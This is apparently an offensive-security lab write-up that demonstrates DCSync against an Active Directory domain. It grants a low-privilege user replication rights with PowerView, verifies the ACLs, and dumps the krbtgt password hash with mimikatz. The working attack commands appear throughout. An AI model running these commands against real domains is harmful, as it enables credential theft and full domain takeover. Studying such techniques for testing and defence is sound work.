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DCSync: Dump Password Hashes from Domain Controller
This lab shows how a misconfigured AD domain object permissions can be abused to dump DC password hashes using the DCSync technique with mimikatz.
It is known that the below permissions can be abused to sync credentials from a Domain Controller:
Inspecting domain's
offense.local permissions, it can be observed that user spotless does not have any special rights just yet:
Using PowerView, we can grant user
spotless 3 rights that would allow them to grab password hashes from the DC:attacker@victim
Add-ObjectACL -PrincipalIdentity spotless -Rights DCSync
Below shows the above command and also proves that spotless does not belong to any privileged group:
However, inspecting
offense.local domain object's privileges now, we can see 3 new rights related to Directory Replication added:
Let's grab the SID of the user spotless with
whoami /all:
Using powerview, let's check that the user
spotless S-1-5-21-2552734371-813931464-1050690807-1106 has the same privileges as seen above using the GUI:attacker@kali
Get-ObjectAcl -Identity "dc=offense,dc=local" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-2552734371-813931464-1050690807-1106"}
Additionally, we can achieve the same result without PowerView if we have access to AD Powershell module:
attacker@victim
Import-Module ActiveDirectory
(Get-Acl "ad:\dc=offense,dc=local").Access | ? {$_.IdentityReference -match 'spotless' -and ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "89e95b76-444d-4c62-991a-0facbeda640c" ) }
See Active Directory Enumeration with AD Module without RSAT or Admin Privileges to learn how to get AD module without admin privileges.
Since the user
spotless has now the required privileges to use DCSync, we can use mimikatz to dump password hashes from the DC via:attacker@victim
lsadump::dcsync /user:krbtgt
